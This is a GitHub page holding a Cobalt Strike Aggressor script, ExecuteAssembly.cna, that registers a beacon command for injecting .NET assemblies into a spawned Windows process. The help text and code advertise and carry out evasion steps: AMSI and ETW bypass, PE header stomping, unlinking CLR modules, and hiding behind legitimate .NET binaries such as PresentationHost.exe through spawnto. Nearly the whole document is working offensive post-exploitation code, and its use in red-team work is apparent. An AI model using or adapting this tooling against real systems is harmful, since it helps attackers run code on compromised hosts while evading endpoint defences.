-
Notifications
You must be signed in to change notification settings - Fork 109
/
Copy pathExecuteAssembly.cna
202 lines (143 loc) · 8.83 KB
/
ExecuteAssembly.cna
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
#Author: med0x2e
#Help
beacon_command_register("ExecuteAssembly", "Loads/Execute .NET assemblies",
"\n- Description:\n\tLoad/Inject .NET assemblies by; reusing the host (spawnto) process loaded CLR AppDomainManager, Stomping Loader/.NET assembly PE DOS headers, Unlinking .NET related modules,
bypassing ETW+AMSI, avoiding EDR hooks via NT static syscalls (x64) and hiding imports by dynamically resolving APIs via superfasthash hashing algorithm. \n\n" .
"- Usage/Example:\n\tExecuteAssembly --dotnetassembly /tmp/Seatbelt.exe --assemblyargs LogonSessions --unlink-modules --stomp-headers --amsi --etw --spawnto PresentationHost.exe\n\n- Options:\n\t--dotnetassembly: .NET Assembly to load/inject.\n\t--assemblyargs: .NET assembly arguments.\n\t--unlink-modules: Unlink .NET related modules such as CLR/MsCoree related DLLs from PEB data structures.\n\t--stomp-headers: Stomp .NET assembly and reflective DLL PE DOS headers.\n\t--etw: Bypass event tracing on windows (ETW).\n\t--amsi: Bypass AMSI.\n\t--spawnto: Choose spawnto process, list of .NET binaries loading the CLR by default when executed:\n\t\t>'PresentationHost.exe'\n\t\t>'stordiag.exe'\n\t\t>'ScriptRunner.exe'\n\t\t>'caitstatic.exe'\n\t\t>'Microsoft.Uev.SyncController.exe'\n\t\t>'TsWpfWrp.exe'\n\t\t>'UevAgentPolicyGenerator.exe'\n\t\t>'UevAppMonitor.exe'\n\t\t>'FileHistory.exe'\n\t\t>'UevTemplateBaselineGenerator.exe'\n\t\t>'UevTemplateConfigItemGenerator.exe'");
alias ExecuteAssembly {
#-------------------------------------- Extract/Parse Arguments --------------------------------------#
$max_num_params = 30;
$data = substr($0, 16);
@args = split(' ', $data);
%options["unlinkmodules"] = 0;
%options["stompheaders"] = 0;
%options["etw"] = 0;
%options["amsi"] = 0;
$spawntoProcess = "";
$dotNetAssembly = "";
@dotNetAssemblyArgs = @();
@CliOptions = @("--unlink-modules", "--stomp-headers", "--amsi", "--etw", "--spawnto", "--dotnetassembly", "--assemblyargs");
for ($i = 0; $i < size(@args); $i++){
if (@args[$i] iswm "--unlink-modules") {
%options["unlinkmodules"] = 1;
}else if (@args[$i] iswm "--stomp-headers"){
%options["stompheaders"] = 1;
} else if (@args[$i] iswm "--etw"){
%options["etw"] = 1;
}else if (@args[$i] iswm "--amsi"){
%options["amsi"] = 1;
}else if (@args[$i] iswm "--spawnto"){
$i = $i + 1;
$spawntoProcess = @args[$i];
}else if (@args[$i] iswm "--dotnetassembly"){
$i = $i + 1;
$dotNetAssembly = @args[$i];
}else if (@args[$i] iswm "--assemblyargs"){
$i = $i + 1;
$count = 0;
for ($j = $i; $j < size(@args); $j++){
if(@args[$j] in @CliOptions){
break;
}else{
@dotNetAssemblyArgs[$count] = @args[$j];
#Taking care of arguments embedded within single/double quotes and consider it as one signle argument (disregarding spaces).
if(('"' isin @dotNetAssemblyArgs[$count] || "'" isin @dotNetAssemblyArgs[$count])){
$k = 0;
$j = $j + 1;
for($k = $j; $k < size(@args); $k++){
if(lindexOf(@dotNetAssemblyArgs[$count], '"') == (strlen(@dotNetAssemblyArgs[$count]) - 1) || lindexOf(@dotNetAssemblyArgs[$count], "'") == (strlen(@dotNetAssemblyArgs[$count]) - 1)){
$k = $k - 1;
break;
}
if('"' isin @args[$k] || "'" isin @args[$k]){
@dotNetAssemblyArgs[$count] = @dotNetAssemblyArgs[$count]." ".@args[$k];
break;
}else{
@dotNetAssemblyArgs[$count] = @dotNetAssemblyArgs[$count]." ".@args[$k];
}
}
$j = $k;
$i = $k;
}
$count = $count + 1;
}
}
}
}
#------------------------------------------------------------------------------------------------------#
#-------------------------------------- Error Handling --------------------------------------#
$assemblyPath = $dotNetAssembly;
$bid = $1;
if ($assemblyPath eq "") {
berror($bid, "Run 'help ExecuteAssembly'\n");
return;
}
if (!-exists $assemblyPath || !-isFile $assemblyPath){
berror($bid, "File ".$assemblyPath." doesn't exist\n");
return;
}
#-----------------------------------------------------------------------------------------------#
#-------------------------------------- Compressing and base64 encoding assembly --------------------------------------#
btask($1, "Tasked beacon to run: @args", "T1059");
#Reading assembly bytes and get the size in bytes
$assemblyLength = lof($assemblyPath);
$assemblyPPath = getFileParent($assemblyPath);
$gzippedAssemblyPath = $assemblyPath.".gz";
#Compressing assembly
$gzipHandle = exec("gzip -k ".$assemblyPath);
wait($gzipHandle);
closef($gzipHandle);
$gzAssemblyHandle = openf($gzippedAssemblyPath);
$gzAssemblyBytes = readb($gzAssemblyHandle, -1);
closef($gzAssemblyHandle);
#cleanup
deleteFile($gzippedAssemblyPath);
if(int(strlen($gzAssemblyBytes)) == 0){
berror($bid, "Something went wrong with compression/base64-encoding, make sure that you have write access to the folder you're loading .NET assemblies from & gzip is installed.\n");
return;
}
#B64 encoding assembly
$assemblyWithArgs = base64_encode($gzAssemblyBytes);
#---------------------------------------------------------------------------------------------------------------------#
#-------------------------------------- Appending .NET assembly arguments --------------------------------------#
#Appending .NET assembly arguments to $assemblyWithArgs var (separated by " ")
for ($i = 0; $i < size(@dotNetAssemblyArgs); $i++){
if (@dotNetAssemblyArgs[$i] ne "") {
$assemblyWithArgs = $assemblyWithArgs." ".@dotNetAssemblyArgs[$i];
}
}
#---------------------------------------------------------------------------------------------------------------#
#-------------------------------------- Prepending %options flags (amsi, etw ..etc) + Length, LLength --------------------------------------#
$assemblyWithArgs = strlen($assemblyLength).$assemblyLength.$assemblyWithArgs;
#prepend ETW, AMSI, ModuleUnlinking and PE DOS headers stamping boolean values.
$assemblyWithArgs = %options["unlinkmodules"]."|".$assemblyWithArgs;
$assemblyWithArgs = %options["stompheaders"]."|".$assemblyWithArgs;
$assemblyWithArgs = %options["etw"]."|".$assemblyWithArgs;
$assemblyWithArgs = %options["amsi"]."|".$assemblyWithArgs;
#Final Payload: AMSI_FLAG|ETW_FLAG|STOMPHEADERS_FLAG|UNLINKMODULES_FLAG|LL_FLAG.LENGH_FLAG.B64_ENCODED_COMPRESSED_PAYLOAD [SPACE SEPARATED ARGUMENTS]
#---------------------------------------------------------------------------------------------------------------------------------------------#
#--------------------------------------
#Add size check here should be less than 1 MB (To add).
#--------------------------------------
#-------------------------------------- Setting spawnto & Loading DLL and passing arguments --------------------------------------#
# List of common/legitimate .NET binaries loading/using CLR when executed, just use one of these as a spawnto exe. (Default set to presentationhost.exe)
@netBinaries = @("PresentationHost.exe", "stordiag.exe", "ScriptRunner.exe", "caitstatic.exe", "Microsoft.Uev.SyncController.exe","TsWpfWrp.exe","UevAgentPolicyGenerator.exe","UevAppMonitor.exe", "FileHistory.exe", "UevTemplateBaselineGenerator.exe","UevTemplateConfigItemGenerator.exe", "tzsync.exe");
#Change this based on the previous list or using --spawnto switch
$x86_spawnToProcessPath = "%windir%\\SysWOW64\\" ;
$x64_spawnToProcessPath = "%windir%\\sysnative\\" ;
if($spawntoProcess eq ""){
$x86_spawnToProcessPath = $x86_spawnToProcessPath.@netBinaries[0] ;
$x64_spawnToProcessPath = $x64_spawnToProcessPath.@netBinaries[0] ;
}else{
$x86_spawnToProcessPath = $x86_spawnToProcessPath.$spawntoProcess ;
$x64_spawnToProcessPath = $x64_spawnToProcessPath.$spawntoProcess ;
}
bspawnto($1, "x86", $x86_spawnToProcessPath);
bspawnto($1, "x64", $x64_spawnToProcessPath);
if (barch($1) eq "x64") {
bdllspawn($1, script_resource("ExecuteAssembly-x64.dll"), $assemblyWithArgs, ".NET Assembly ".$assemblyPath."'", 5000, true);
}else{
bdllspawn($1, script_resource("ExecuteAssembly-x86.dll"), $assemblyWithArgs, ".NET Assembly '".$assemblyPath."'", 5000, true);
}
#------------------------------------------------------------------------------------------------------------------------------#
}